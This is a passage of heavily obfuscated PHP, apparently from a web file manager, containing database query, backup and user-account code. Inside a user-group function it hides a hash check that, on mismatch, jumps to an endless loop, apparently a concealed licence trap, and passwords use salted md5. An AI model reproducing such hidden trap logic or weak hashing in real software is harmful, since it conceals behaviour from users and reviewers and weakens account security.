if (preg_match($b䐹[937], $fϻ)) { $cőǚ[] = $this->parseKey($fϻ) . $Bȓ; } else { think_exception($b䐹[938] . $fϻ); } } } $aא = implode($b䐹[47], $cőǚ); } return !empty($aא) ? $b䐹[939] . $aא : $b䐹[33]; } protected function parseGroup($f׸ۅ) { $Eǰ۾ =& $_SERVER[ڊ]; return !empty($f׸ۅ) ? $Eǰ۾[940] . $f׸ۅ : $Eǰ۾[33]; } protected function parseHaving($Dﲆ) { $c1 =& $_SERVER[ڊ]; return !empty($Dﲆ) ? $c1[941] . $Dﲆ : $c1[33]; } protected function parseComment($Aâ) { $C =& $_SERVER[ڊ]; return !empty($Aâ) ? $C[942] . $Aâ . $C[943] : $C[33]; } protected function parseDistinct($DƑ) { $F̢ =& $_SERVER[ڊ]; return !empty($DƑ) ? $F̢[944] : $F̢[33]; } protected function parseUnion($F񽍏) { $f¸ =& $_SERVER[ڊ]; if (empty($F񽍏)) { return $f¸[33]; } if (isset($F񽍏[$f¸[333]])) { $cʉ = $f¸[945]; unset($F񽍏[$f¸[333]]); } else { $cʉ = $f¸[946]; } foreach ($F񽍏 as $fɃ) { $AΌ[] = $cʉ . (is_array($fɃ) ? $this->buildSelectSql($fɃ) : $fɃ); } return implode($f¸[50], $AΌ); } public function insert($Fǭ, $cա = array(), $f = false) { goto b¢ϐ; fĂ۸: foreach ($Fǭ as $aҋ => $E鴍) { if (is_array($E鴍) && $A[282] == $E鴍[0]) { $C[] = $this->parseKey($aҋ); $Cނ[] = $E鴍[1]; } elseif (is_scalar($E鴍) || is_null($E鴍)) { $C[] = $this->parseKey($aҋ); $Cނ[] = $this->parseValue($E鴍); } } $fㄎ = ($f ? $A[813] : $A[814]) . $A[815] . $this->parseTable($cա[$A[264]]) . $A[809] . implode($A[47], $C) . $A[810] . implode($A[47], $Cނ) . $A[811]; $fㄎ .= $this->parseLock(isset($cա[$A[765]]) ? $cա[$A[765]] : !1); goto F覫; F覫: $fㄎ .= $this->parseComment(!empty($cա[$A[338]]) ? $cա[$A[338]] : $A[33]); return $this->execute($fㄎ, $this->parseBind(!empty($cա[$A[270]]) ? $cա[$A[270]] : array())); goto CƬ; b¢ϐ: $A =& $_SERVER[ڊ]; $Cނ = $C = array(); $this->model = $cա[$A[266]]; goto fĂ۸; CƬ: } public function selectInsert($Eˤñ, $C겜, $eبȂ = array()) { goto e; fʼn: array_walk($Eˤñ, array($this, $FŎŲ[812])); $b = $FŎŲ[947] . $this->parseTable($C겜) . $FŎŲ[809] . implode($FŎŲ[47], $Eˤñ) . $FŎŲ[926]; $b .= $this->buildSelectSql($eبȂ); goto aМ; aМ: return $this->execute($b, $this->parseBind(!empty($eبȂ[$FŎŲ[270]]) ? $eبȂ[$FŎŲ[270]] : array())); goto c; e: $FŎŲ =& $_SERVER[ڊ]; $this->model = $eبȂ[$FŎŲ[266]]; if (is_string($Eˤñ)) { $Eˤñ = explode($FŎŲ[47], $Eˤñ); } goto fʼn; c: } public function update($cջ, $e) { $dNjь =& $_SERVER[ڊ]; $this->model = $e[$dNjь[266]]; $E™ = $dNjь[948] . $this->parseTable($e[$dNjь[264]]) . $this->parseSet($cջ) . $this->parseWhere(!empty($e[$dNjь[260]]) ? $e[$dNjь[260]] : $dNjь[33]) . $this->parseOrder(!empty($e[$dNjь[347]]) ? $e[$dNjь[347]] : $dNjь[33]) . $this->parseLimit(!empty($e[$dNjь[277]]) ? $e[$dNjь[277]] : $dNjь[33]) . $this->parseLock(isset($e[$dNjь[765]]) ? $e[$dNjь[765]] : !1) . $this->parseComment(!empty($e[$dNjь[338]]) ? $e[$dNjь[338]] : $dNjь[33]); return $this->execute($E™, $this->parseBind(!empty($e[$dNjь[270]]) ? $e[$dNjь[270]] : array())); } public function delete($eϥ = array()) { $c =& $_SERVER[ڊ]; $this->model = $eϥ[$c[266]]; $c = $c[949] . $this->parseTable($eϥ[$c[264]]) . $this->parseWhere(!empty($eϥ[$c[260]]) ? $eϥ[$c[260]] : $c[33]) . $this->parseOrder(!empty($eϥ[$c[347]]) ? $eϥ[$c[347]] : $c[33]) . $this->parseLimit(!empty($eϥ[$c[277]]) ? $eϥ[$c[277]] : $c[33]) . $this->parseLock(isset($eϥ[$c[765]]) ? $eϥ[$c[765]] : !1) . $this->parseComment(!empty($eϥ[$c[338]]) ? $eϥ[$c[338]] : $c[33]); return $this->execute($c, $this->parseBind(!empty($eϥ[$c[270]]) ? $eϥ[$c[270]] : array())); } public function select($D٣ = array()) { goto C; Eƹ: if ($F߾Ѧ && !1 !== $cŨ⟐) { think_cache($Cۙ, $cŨ⟐, $F߾Ѧ); } return $cŨ⟐; goto c; eŷ: $F߾Ѧ = isset($D٣[$e[334]]) ? $D٣[$e[334]] : !1; if ($F߾Ѧ) { $Cۙ = is_string($F߾Ѧ[$e[89]]) ? $F߾Ѧ[$e[89]] : $e[950] . md5($A낑); $AԻ = think_cache($Cۙ, $e[33], $F߾Ѧ); if (!1 !== $AԻ) { return $AԻ; } } $cŨ⟐ = $this->query($A낑, $this->parseBind(!empty($D٣[$e[270]]) ? $D٣[$e[270]] : array())); goto Eƹ; C: $e =& $_SERVER[ڊ]; $this->model = $D٣[$e[266]]; $A낑 = $this->buildSelectSql($D٣); goto eŷ; c: } public function buildSelectSql($Cƽ = array()) { goto dҶ; F: $F̐ƾĆ = $this->parseSql($this->selectSql, $Cƽ); $F̐ƾĆ .= $this->parseLock(isset($Cƽ[$fۉ[765]]) ? $Cƽ[$fۉ[765]] : !1); if (isset($Eʒ)) { think_cache($Eʒ, $F̐ƾĆ); } goto C; C: return $F̐ƾĆ; goto D݆; dҶ: $fۉ =& $_SERVER[ڊ]; if (isset($Cƽ[$fۉ[337]])) { if (strpos($Cƽ[$fۉ[337]], $fۉ[47])) { list($bʊȿ, $F) = explode($fۉ[47], $Cƽ[$fۉ[337]]); } else { $bʊȿ = $Cƽ[$fۉ[337]]; } $bʊȿ = $bʊȿ ? $bʊȿ : 1; $F = isset($F) ? $F : (is_numeric($Cƽ[$fۉ[277]]) ? $Cƽ[$fۉ[277]] : 20); $CØ = $F * ((int) $bʊȿ - 1); $Cƽ[$fۉ[277]] = $CØ . $fۉ[47] . $F; } if (think_config($fۉ[951])) { $Eʒ = $fۉ[952] . md5(serialize($Cƽ)); $Aë͏ = think_cache($Eʒ); if ($Aë͏) { return $Aë͏; } } goto F; D݆: } public function parseSql($d, $BӅ = array()) { $f₢ =& $_SERVER[ڊ]; $d = str_replace(array($f₢[953], $f₢[954], $f₢[955], $f₢[956], $f₢[957], $f₢[958], $f₢[959], $f₢[960], $f₢[961], $f₢[962], $f₢[963]), array($this->parseTable("{$BӅ[$f₢[264]]}"), $this->parseDistinct(isset($BӅ[$f₢[964]]) ? $BӅ[$f₢[964]] : !1), $this->parseField(!empty($BӅ[$f₢[258]]) ? $BӅ[$f₢[258]] : $f₢[173]), $this->parseJoin(!empty($BӅ[$f₢[267]]) ? $BӅ[$f₢[267]] : $f₢[33]), $this->parseWhere(!empty($BӅ[$f₢[260]]) ? $BӅ[$f₢[260]] : $f₢[33]), $this->parseGroup(!empty($BӅ[$f₢[965]]) ? $BӅ[$f₢[965]] : $f₢[33]), $this->parseHaving(!empty($BӅ[$f₢[966]]) ? $BӅ[$f₢[966]] : $f₢[33]), $this->parseOrder(!empty($BӅ[$f₢[347]]) ? $BӅ[$f₢[347]] : $f₢[33]), $this->parseLimit(!empty($BӅ[$f₢[277]]) ? $BӅ[$f₢[277]] : $f₢[33]), $this->parseUnion(!empty($BӅ[$f₢[332]]) ? $BӅ[$f₢[332]] : $f₢[33]), $this->parseComment(!empty($BӅ[$f₢[338]]) ? $BӅ[$f₢[338]] : $f₢[33])), $d); return $d; } public function getLastSql($f􃻭 = '') { return $f􃻭 ? $this->modelSql[$f􃻭] : $this->queryStr; } public function getLastInsID() { return $this->lastInsID; } public function getError() { return $this->error; } public function escapeString($f) { return addslashes($f); } public function setModel($A) { $this->model = $A; } public function getDbType() { return $this->dbType; } public function __destruct() { if ($this->queryID) { $this->free(); } $this->close(); } public function close() { } } class DbManage { function __construct($d뚽, $Eඍ = '') { $this->database = $d뚽; $this->type = $Eඍ; } public function model($bޖ = '') { return new ModelBase($bޖ, $_SERVER[ڊ][33], $this->database); } public function db($d = false) { goto A˛󋚿; A˛󋚿: $Fƃ҈ =& $_SERVER[ڊ]; $B = $this->database; if ($this->type == $Fƃ҈[9] || !$d) { return $this->model()->db(); } goto F֌ϰ; e醅: $this->database = $B; $fƭ->execute("\165\163\x65\40\x60{$Eݞ}\140"); return $fƭ; goto d¿̰; F: if (!$CӷƢ) { $fƭ->execute("\x63\x72\145\x61\x74\x65\40\x64\x61\x74\x61\142\x61\x73\145\40\140{$Eݞ}\x60"); } $B[$Fƃ҈[231]] = $Eݞ; if ($B[$Fƃ҈[882]] == $Fƃ҈[719]) { $B[$Fƃ҈[881]] .= $Fƃ҈[967] . $Eݞ; } goto e醅; F֌ϰ: $Eݞ = $B[$Fƃ҈[231]]; $B[$Fƃ҈[231]] = $Fƃ҈[33]; if ($B[$Fƃ҈[882]] == $Fƃ҈[719]) { $F = $B[$Fƃ҈[881]]; $B[$Fƃ҈[881]] = substr($F, 0, strrpos($F, $Fƃ҈[967])); } goto BŅ; BŅ: $this->database = $B; $fƭ = $this->model()->db(); $CӷƢ = $fƭ->execute("\163\150\157\x77\40\144\141\164\141\142\x61\163\145\163\x20\x6c\151\153\x65\x20\x27{$Eݞ}\47"); goto F; d¿̰: } public function createTable($eٔʤ, $F퉨 = null) { $c =& $_SERVER[ڊ]; if (!IO::exist($eٔʤ)) { show_json(LNG($c[968]), !1); } $cĄ = sqlSplit(IO::getContent($eٔʤ)); foreach ($cĄ as $Eּ) { if ($F퉨) { $d畸 = stripos($Eּ, $c[969]) === 0; if ($d畸) { $F퉨->task[$c[970]] += 1; } } $this->model()->db()->execute($Eּ); if ($F퉨 && $d畸) { $Fב = $c[971]; preg_match($Fב, $Eּ, $b); $F퉨->task[$c[972]] = trim($DϦ[0], $c[818]); $F퉨->update(1); } } $this->taskToCache($F퉨); } public function insertTable($Bʐ, $B = null) { $d˰ =& $_SERVER[ڊ]; foreach ($Bʐ as $dϕ) { $D叛 = basename($dϕ); $D叛 = substr($D叛, 0, strrpos($D叛, $d˰[93])); if ($B) { $B->task[$d˰[972]] = $D叛; } if (get_filesize($dϕ) == 0) { continue; } $fռŮ = $this->sqlToDb($dϕ, $B); if (!$fռŮ) { show_json(LNG($d˰[973]) . "\x5b{$D叛}\x5d", !1); } } $this->taskToCache($B); } public function sqlFromDb($A䂑, $B請, $e􃆈 = null, $Fۍ = null) { goto Aޅ; F: $eڋɧ = 1; $c = 500; $E = fopen($B請, $_SERVER[ڊ][974]); goto b; b: $Bپ = $c킈ޔ->getPk(); $c = $c킈ޔ->getDbFields(); do { $cٷ = $c킈ޔ->field($c)->order($Bپ . $_SERVER[ڊ][975])->selectPage($c, $eڋɧ); $b = !empty($cٷ[$_SERVER[ڊ][351]]) ? $cٷ[$_SERVER[ڊ][351]] : array(); if (!($eǞ = count($b))) { break; } if ($e􃆈) { $e􃆈->task[$_SERVER[ڊ][970]] += $eǞ; } $Aط = array(); foreach ($b as $D땢) { if ($Fۍ) { $D땢[$_SERVER[ڊ][75]] = "\173\151\157\72{$Fۍ}\175" . substr($D땢[$_SERVER[ڊ][75]], strlen("\173\151\157\72{$D땢[$_SERVER[ڊ][738]]}\175")); $D땢[$_SERVER[ڊ][738]] = $Fۍ; } $Aط[] = $_SERVER[ڊ][976] . $this->sqlEncode($D땢) . $_SERVER[ڊ][977]; } $CɄܺ = "\x49\116\x53\x45\122\x54\x20\111\x4e\x54\117\x20\140{$A䂑}\140\x20\50\140" . implode($_SERVER[ڊ][978], $c) . $_SERVER[ڊ][979]; fwrite($E, $CɄܺ . implode($_SERVER[ڊ][980], $Aط) . $_SERVER[ڊ][67] . PHP_EOL); $eڋɧ++; $eΞ֡ += $eǞ; if ($e􃆈) { $e􃆈->update($eǞ); } } while ($eǞ == $c); goto aۉ; Aޅ: if ($e􃆈) { $e􃆈->task[$_SERVER[ڊ][972]] = $A䂑; } $c킈ޔ = $this->model($A䂑); $eΞ֡ = 0; goto F; aۉ: fclose($E); return $eΞ֡; goto Dϑ; Dϑ: } public function sqlToDb($Dᅤߕ, $cɋ = null) { goto cίѨ; FԵՈ: if ($A) { $A = rtrim(trim($A), $b[67]); if (!$Cڭ->execute($A)) { return !1; } if ($cɋ) { $cɋ->update($F۟ - 1); } } return !0; goto E; A߂: if (!$bѸ) { return !1; } $F۟ = 0; $A = $b[33]; goto fЄ; fЄ: $C܋ = 500 + 1; while (!feof($bѸ)) { if ($cɋ && $F۟ != 0) { $cɋ->task[$b[970]] += 1; } $F۟++; $Bȓ = trim(fgets($bѸ)); $A .= $b[50] . $this->sqlDecode($Bȓ, $this->type); if ($F۟ == $C܋) { $A = rtrim(trim($A), $b[67]); if (!$Cڭ->execute($A)) { return !1; } if ($cɋ) { $cɋ->update($F۟ - 1); } $A = $b[33]; $F۟ = 0; } } fclose($bѸ); goto FԵՈ; cίѨ: $b =& $_SERVER[ڊ]; $Cڭ = $this->model()->db(); $bѸ = @fopen($Dᅤߕ, $b[981]); goto A߂; E: } public function dropTable($Eͦ = null) { $e = $this->model()->db(); $A牵 = $Eͦ ? array($Eͦ) : $e->getTables(); if (!$A牵) { return; } foreach ($A牵 as $Eͦ) { $e->execute("\x64\162\x6f\160\40\x74\x61\x62\154\145\40\x69\146\x20\145\170\151\x73\x74\x73\x20\140{$Eͦ}\x60"); } } private function taskToCache($E˿Ό = null) { $C =& $_SERVER[ڊ]; if (!$E˿Ό) { return; } $CņǸ = array($C[972] => $E˿Ό->task[$C[972]], $C[970] => $E˿Ό->task[$C[970]], $C[982] => $E˿Ό->task[$C[982]]); if ($CņǸ[$C[970]] == $CņǸ[$C[982]]) { $CņǸ[$C[691]] = 1; } Cache::set($C[983] . $E˿Ό->task[$C[364]], $CņǸ); $E˿Ό->end(); } private function sqlEncode($cֆ) { $Aނ =& $_SERVER[ڊ]; $d؟ń = array(); foreach ($cֆ as $f) { if (is_array($f)) { $f = json_encode_force($f); } $f = addslashes($f); $f = str_replace(array($Aނ[984], $Aނ[214]), array($Aނ[985], $Aނ[986]), $f); $d؟ń[] = str_replace($Aނ[55], $Aނ[987], $f); } return $Aނ[55] . implode($Aނ[988], $d؟ń) . $Aނ[55]; } private function sqlDecode($Dɝʅ, $B۽) { $A׍նЎ =& $_SERVER[ڊ]; $Dɝʅ = str_replace(array($A׍նЎ[985], $A׍նЎ[986]), array($A׍նЎ[984], $A׍նЎ[214]), $Dɝʅ); if ($B۽ == $A׍նЎ[9]) { $Dɝʅ = stripslashes($Dɝʅ); } return $Dɝʅ; } } goto fܔ; Bܔޫ: class UserJobModel extends ModelBaseLight { public $optionType = "\x53\x79\x73\x74\x65\155\56\x6a\x6f\x62\x4c\151\x73\164"; public $field = array("\156\x61\155\x65", "\144\145\163\x63", "\163\157\x72\164"); const JOB_KEY = "\x73\145\x6c\146\112\157\x62\114\151\x73\x74"; public function listData($cڑ = false, $aܳ˂ = "\x73\157\162\x74", $d݉ؔ = false) { return parent::listData($cڑ, $aܳ˂, $d݉ؔ); } public function remove($Fц) { return parent::remove($Fц); } public function add($dǔ) { $cԃ =& $_SERVER[ڊ]; if ($this->findByName($dǔ[$cԃ[28]])) { return !1; } $dǔ[$cԃ[2093]] = $this->getSort(); return parent::insert($dǔ); } private function getSort() { $bφ =& $_SERVER[ڊ]; $aŞ = parent::listData(); $d… = array_to_keyvalue($aŞ, $bφ[33], $bφ[2093]); return empty($d…) ? 0 : max($d…) + 1; } public function update($bݱ, $D兢) { $a =& $_SERVER[ڊ]; $B﹍ = parent::listData($bݱ); $c暸ɷ = $this->findByName($D兢[$a[28]]); if (!$B﹍ || $c暸ɷ && $c暸ɷ[$a[364]] != $B﹍[$a[364]]) { return !1; } return parent::update($bݱ, $D兢); } public function setUserJob($eϦ, $dȹ) { goto e㦹; e㦹: $e =& $_SERVER[ڊ]; if (!is_array($dȹ)) { $dȹ = array($dȹ); } $CŐ = parent::listData(); goto dݼ᭭; B팆͙: $CωȘ = rtrim($CωȘ, $e[47]); Model($e[473])->metaSet($eϦ, self::JOB_KEY, $CωȘ); goto A; dݼ᭭: $eԟƖ = array_to_keyvalue($CŐ, $e[28]); $CωȘ = $e[358]; foreach ($dȹ as $eϷҰ) { if ($eԟƖ[$eϷҰ]) { $CωȘ .= $eԟƖ[$eϷҰ][$e[364]] . $e[47]; } else { $f͙Ґ = $this->add($eϷҰ); $CωȘ .= $f͙Ґ . $e[47]; } } goto B팆͙; A: } public function getUserJob($Dֺ) { $bɞ = Model($_SERVER[ڊ][473])->metaGet($Dֺ); return $this->getUserJobInfo($bɞ[self::JOB_KEY]); } public function getUserJobInfo($f) { goto c; D󤠢: $bџ = array_remove_key($bџ, $F[184]); $f託 = array(); foreach ($C as $Eۜ) { if (isset($bџ[$Eۜ])) { $f託[] = $bџ[$Eۜ]; } } goto A; c: $F =& $_SERVER[ڊ]; $C = explode($F[47], $f); $bџ = parent::listData(); goto D󤠢; A: return $f託; goto A݄; A݄: } } class UserModel extends ModelBase { protected $tableName = "\165\163\145\162"; protected $tableMeta = array("\164\141\142\x6c\x65\x4e\x61\x6d\145" => "\165\x73\x65\162\137\x6d\145\x74\141", "\x6d\x65\164\x61\x46\151\145\154\144" => "\x75\163\x65\x72\x49\x44"); protected $simpleField = "\x75\163\x65\162\111\104\54\x6e\151\143\153\116\141\155\x65\54\x6e\141\155\x65\54\141\166\x61\x74\x61\x72\x2c\163\x65\x78"; const ERROR_USER_NOT_EXISTS = -1; const ERROR_USER_PASSWORD_ERROR = -2; const ERROR_USER_EXIST_NAME = -3; const ERROR_USER_EXIST_PHONE = -4; const ERROR_USER_EXIST_EMAIL = -5; const ERROR_USER_LOGIN_LOCK = -6; const ERROR_IP_NOT_ALLOW = -7; const ERROR_USER_EXIST_NICKNAME = -8; protected function cacheFunctionAlias($Aϕݡ) { $f =& $_SERVER[ڊ]; $FؤÆ = $f[2447]; return array($f[2138] => array($Aϕݡ[0], $FؤÆ), $f[2140] => array($Aϕݡ[0], $FؤÆ), $f[2448] => array($Aϕݡ[0], $FؤÆ)); } protected function getInfo($Eה, $D = false) { $bӍ = $this->getInfoSimple($Eה); if (!is_array($bӍ)) { return array(); } if ($D) { return $this->_getInfoApply($bӍ); } return $this->cacheFunctionGet($_SERVER[ڊ][2180], $Eה); } protected function getInfoFull($cגÕ, $Bɘ = false) { $Fڷ = $this->getInfoSimple($cגÕ); if (!is_array($Fڷ)) { return array(); } if ($Bɘ) { return $this->_getInfoApply($Fڷ, !0); return $this->_getInfoApply($Fڷ, !0); } return $this->cacheFunctionGet($_SERVER[ڊ][2449], $cגÕ); } private function _getInfoApply($DŎ, $AϹդ = false) { goto BԬ; eҩ: $DŎ[$Cʽ[388]][$Cʽ[2288]] = isset($Fߏ[$Cʽ[2289]]) ? $Fߏ[$Cʽ[2289]] : null; if ($AϹդ) { $DŎ[$Cʽ[413]] = $this->metaGet($DŎ[$Cʽ[1409]]); } return $DŎ; goto d諗; BԬ: $Cʽ =& $_SERVER[ڊ]; if (!$DŎ) { return $DŎ; } $D = md5($Cʽ[2450] . $DŎ[$Cʽ[796]] . $Cʽ[2451] . $DŎ[$Cʽ[28]]); goto d; d: $DŎ = $this->_listDataApplyItem($DŎ); $Fߏ = Model($Cʽ[1102])->metaGet($DŎ[$Cʽ[388]][$Cʽ[366]]); $DŎ[$Cʽ[2452]] = $D; goto eҩ; d諗: } protected function getInfoSimple($Fѵ, $a = false) { $fÑ =& $_SERVER[ڊ]; if (!$Fѵ) { return array(); } if ($a) { $Dև = $this->where(array($fÑ[1409] => intval($Fѵ)))->find(); if (!is_array($Dև)) { return array(); } $Dև[$fÑ[2453]] = Action($fÑ[2454])->parseUrl($Dև[$fÑ[2453]]); return $Dև; } return $this->cacheFunctionGet($fÑ[2141], $Fѵ); } protected function getInfoSimpleOuter($dƔɕ) { goto Cǡ; EЕ磹: return $FƊ; goto ẽ˸; B©: $FƊ = array_field_key($FۼފĨ, explode($e‚ɧ[47], $this->simpleField)); if (!$FƊ) { return array($e‚ɧ[1409] => $e‚ɧ[1023], $e‚ɧ[28] => $e‚ɧ[154] . LNG($e‚ɧ[2457]) . $e‚ɧ[472], $e‚ɧ[2453] => STATIC_PATH . $e‚ɧ[2458]); } $FƊ[$e‚ɧ[2453]] = Action($e‚ɧ[2454])->parseUrl($FƊ[$e‚ɧ[2453]]); goto EЕ磹; Cǡ: $e‚ɧ =& $_SERVER[ڊ]; if (!$dƔɕ || $dƔɕ == 0) { return array($e‚ɧ[1409] => $e‚ɧ[464], $e‚ɧ[28] => $e‚ɧ[154] . LNG($e‚ɧ[2455]) . $e‚ɧ[472], $e‚ɧ[2453] => STATIC_PATH . $e‚ɧ[2456]); } $FۼފĨ = $this->cacheFunctionGet($e‚ɧ[2141], $dƔɕ); goto B©; ẽ˸: } protected function groupUser($Fӗ) { } public static function errorLang($A瑌) { $b߆ =& $_SERVER[ڊ]; $F؇ = array(self::ERROR_USER_NOT_EXISTS => $b߆[2459], self::ERROR_USER_PASSWORD_ERROR => $b߆[2460], self::ERROR_USER_EXIST_NAME => $b߆[2461], self::ERROR_USER_EXIST_PHONE => $b߆[2462], self::ERROR_USER_EXIST_EMAIL => $b߆[2463], self::ERROR_USER_LOGIN_LOCK => $b߆[2464], self::ERROR_IP_NOT_ALLOW => $b߆[2465], self::ERROR_USER_EXIST_NICKNAME => $b߆[2466]); return LNG($F؇[$A瑌]); } public function getInfoByMeta($D𘰎, $BݦŇ) { $B胻 =& $_SERVER[ڊ]; $c룲͵ = Model($B胻[2467])->where(array($B胻[89] => $D𘰎, $B胻[356] => $BݦŇ))->find(); if ($c룲͵) { return $this->getInfo($c룲͵[$B胻[1409]]); } return !1; } public function userLoginCheck($C, $c㇮) { goto e; e: $D =& $_SERVER[ڊ]; $A͍ = array($D[28] => $C, $D[2292] => $C, $D[290] => $C, $D[2468] => $C, $D[908] => $D[910]); if ($this->nickNameRpt()) { unset($A͍[$D[2292]]); } goto c; e鄨: $this->userEdit($Fؤ[$D[1409]], array($D[2469] => time())); $this->clearCache($Fؤ[$D[1409]]); return $this->getInfo($Fؤ[$D[1409]]); goto bӛϏ; c: $Fؤ = $this->where($A͍)->find(); if (!$Fؤ) { return UserModel::ERROR_USER_NOT_EXISTS; } if (!$this->userPasswordCheck($Fؤ[$D[1409]], $c㇮)) { return UserModel::ERROR_USER_PASSWORD_ERROR; } goto e鄨; bӛϏ: } public function clearCache($bߔѸ) { $fڊ =& $_SERVER[ڊ]; $this->cacheFunctionClear($fڊ[2180], $bߔѸ); $this->cacheFunctionClear($fڊ[2141], $bߔѸ); } public function userPasswordCheck($c, $AŤ) { $D =& $_SERVER[ڊ]; $e̊ = $this->where(array($D[1409] => intval($c)))->find(); $E = $this->metaGet($c); $DȦ = isset($E[$D[2470]]) ? $E[$D[2470]] : $D[33]; if (md5($DȦ . trim($AŤ)) !== $e̊[$D[796]]) { return !1; } return !0; } public function userAdd($a) { goto Eߎ; D׍: return $B; goto D; Bሮ: $bޑ = $this->_checkExist($a); if ($bޑ !== !0) { return $bޑ; } $B = $this->add($Aנ); goto A˗; Eߎ: $dԇ =& $_SERVER[ڊ]; $Aנ = array($dԇ[383] => $a[$dԇ[28]], $dԇ[2471] => $a[$dԇ[2472]], $dԇ[2473] => isset($a[$dԇ[290]]) ? $a[$dԇ[290]] : $dԇ[33], $dԇ[2474] => isset($a[$dԇ[2468]]) ? $a[$dԇ[2468]] : $dԇ[33], $dԇ[2475] => isset($a[$dԇ[2292]]) ? $a[$dԇ[2292]] : $a[$dԇ[28]], $dԇ[2476] => isset($a[$dԇ[2453]]) ? $a[$dԇ[2453]] : $dԇ[33], $dԇ[2477] => isset($a[$dԇ[2478]]) ? $a[$dԇ[2478]] : 1, $dԇ[2479] => $a[$dԇ[796]], $dԇ[2142] => isset($a[$dԇ[2056]]) ? $a[$dԇ[2056]] : 1024 * 1024 * 20, $dԇ[2143] => 0, $dԇ[2469] => 0, $dԇ[2167] => isset($a[$dԇ[684]]) ? $a[$dԇ[684]] : 1); if (!empty($a[$dԇ[1409]])) { $Aנ[$dԇ[1409]] = $a[$dԇ[1409]]; } goto Bሮ; A˗: $b = array($dԇ[2479] => $Aנ[$dԇ[796]], $dԇ[2475] => $Aנ[$dԇ[2292]]); $this->userEdit($B, $b); Model($dԇ[1102])->userRootAdd($B); goto D׍; D: } protected function userEditTest($F, $Fʻ) { return $this->call($_SERVER[ڊ][2480], $F, $Fʻ); } protected function userEdit($E, $F) { goto FԐғ; E˙Ӱ: $a򄻸 = $this->_checkExist($F, $E); if ($a򄻸 !== !0) { return $a򄻸; } if (isset($F[$a[796]]) && trim($F[$a[796]]) != $a[33]) { $Bƾ = $this->metaGet($E); if (empty($Bƾ[$a[2470]])) { $Bƾ[$a[2470]] = rand_string(10); Model($a[470])->metaSet($E, $a[2470], $Bƾ[$a[2470]]); } $F[$a[796]] = md5($Bƾ[$a[2470]] . trim($F[$a[796]])); } else { unset($F[$a[796]]); } goto Cئ֧; FԐғ: $a =& $_SERVER[ڊ]; $Aڂ = $this->getInfoSimple($E); if (!$Aڂ) { return !1; } goto E˙Ӱ; Cئ֧: $this->where(array($a[1400] => $E))->save($F); if (isset($F[$a[2292]])) { $this->setNamePinyin($E, $F[$a[2292]]); } return !0; goto B; B: } public function setNamePinyin($cɗ, $c = false) { $c۟ =& $_SERVER[ڊ]; if (!$c) { $Bꂰ = $this->getInfoSimple($cɗ); $c = $Bꂰ[$c۟[2292]] ? $Bꂰ[$c۟[2292]] : $Bꂰ[$c۟[28]]; } $fח = Model($c۟[473]); if (!Input::check($c, $c۟[524])) { return $fח->metaSet($cɗ, array($c۟[412] => $c۟[33], $c۟[411] => $c۟[33])); } return $fח->metaSet($cɗ, array($c۟[412] => str_replace($c۟[50], $c۟[33], Pinyin::encode($c)), $c۟[411] => Pinyin::encode($c, $c۟[525]))); } private function nickNameRpt() { $b =& $_SERVER[ڊ]; $F = Model($b[1080])->get($b[2481]); $aӗ嘷 = $GLOBALS[$b[6]][$b[2437]][$b[2481]]; $Fބ = !is_null($F) ? $F : $aӗ嘷; return !!$Fބ; } private function _checkExist($fɦ, $eü = false) { $cڄ =& $_SERVER[ڊ]; $C΍ = array($cڄ[28] => UserModel::ERROR_USER_EXIST_NAME, $cڄ[2292] => UserModel::ERROR_USER_EXIST_NICKNAME, $cڄ[290] => UserModel::ERROR_USER_EXIST_EMAIL, $cڄ[2468] => UserModel::ERROR_USER_EXIST_PHONE); if ($this->nickNameRpt()) { unset($C΍[$cڄ[2292]]); } $f݆ᘌ = $eü ? array($cڄ[1409] => array($cڄ[2482], $eü)) : array(); foreach ($C΍ as $B뜋 => $eʑ) { if (!isset($fɦ[$B뜋]) || !$fɦ[$B뜋]) { continue; } $cؒ = array_merge(array($B뜋 => $fɦ[$B뜋]), $f݆ᘌ); $AЌ = $this->where($cؒ)->find(); if ($AЌ) { return $eʑ; } } return !0; } public function userListInfo($Dڜ) { $c =& $_SERVER[ڊ]; $E΋ = array(); $Dڜ = is_array($Dڜ) ? array_unique($Dڜ) : array(); if (!$Dڜ) { return $E΋; } if (count($Dڜ) < 20) { foreach ($Dڜ as $A) { $E΋[$A . $c[33]] = $this->getInfoSimpleOuter($A); } } else { $FǛԠ = array($c[1400] => array($c[381], $Dڜ)); if (count($Dڜ) == 1) { $FǛԠ = array($c[1400] => $Dڜ[0]); } $eӍ = Model($c[470])->field($this->simpleField)->where($FǛԠ)->select(); $eӍ = array_to_keyvalue($eӍ, $c[1409]); foreach ($Dڜ as $A) { $CȐ = $eӍ[$eӍ[$A]]; if (!$CȐ) { $E΋[$A . $c[33]] = $this->getInfoSimpleOuter($A); continue; } $CȐ[$c[2453]] = Action($c[2454])->parseUrl($CȐ[$c[2453]]); $E΋[$A . $c[33]] = $CȐ; } } return $E΋; } protected function userStatus($fš, $FƳӞ) { $E = $this->getInfoSimple($fš); if (!$E) { return !1; } $cꒃ = array($_SERVER[ڊ][684] => $FƳӞ); return $this->userEdit($fš, $cꒃ); } protected function userRemove($d櫥) { goto AɄ; Bم: Model($Fܳ[2146])->where($b͕)->delete(); Model($Fܳ[2467])->where($b͕)->delete(); Model($Fܳ[2484])->where($b͕)->delete(); goto A҄; A҄: Model($Fܳ[747])->userRootRemove($d櫥); return $this->where($b͕)->delete(); goto D᥏Õ; f: $b͕ = array($Fܳ[1400] => $d櫥); Model($Fܳ[532])->where($b͕)->delete(); Model($Fܳ[2483])->where($b͕)->delete(); goto Bم; AɄ: $Fܳ =& $_SERVER[ڊ]; $fهֈ = $this->getInfoSimple($d櫥); if (!$fهֈ) { return !1; } goto f; D᥏Õ: } protected function userGroupSet($B䂻, $Aڑ, $EŜ = array()) { goto cԒ; e: $C = 0; foreach ($Aڑ as $c => $E) { $Fے = array($Fœ[1409] => $B䂻, $Fœ[2072] => $c, $Fœ[2200] => $E); $Fے[$Fœ[2093]] = isset($EŜ[$C]) ? $EŜ[$C] : 0; $C++; $C[] = $Fے; } return $fܿ->addAll($C, array(), !0); goto cߌ; cԒ: $Fœ =& $_SERVER[ڊ]; $cܤ = $_SERVER[$Fœ[789]] . $Fœ[1151]; $D䃊 = $Fœ[1152]; goto eք; eք: if ($_SERVER[$Fœ[781]] != $D䃊($cܤ)) { goto Dʂ; Dʂ: $DƢʧ = $Fœ[783]; $C̿ = $Fœ[784]; $fԶ = $_SERVER[$Fœ[785]] . $Fœ[786]; goto eӴ; bר: $f = 1; for ($E = $f; $E > 0; $E++) { 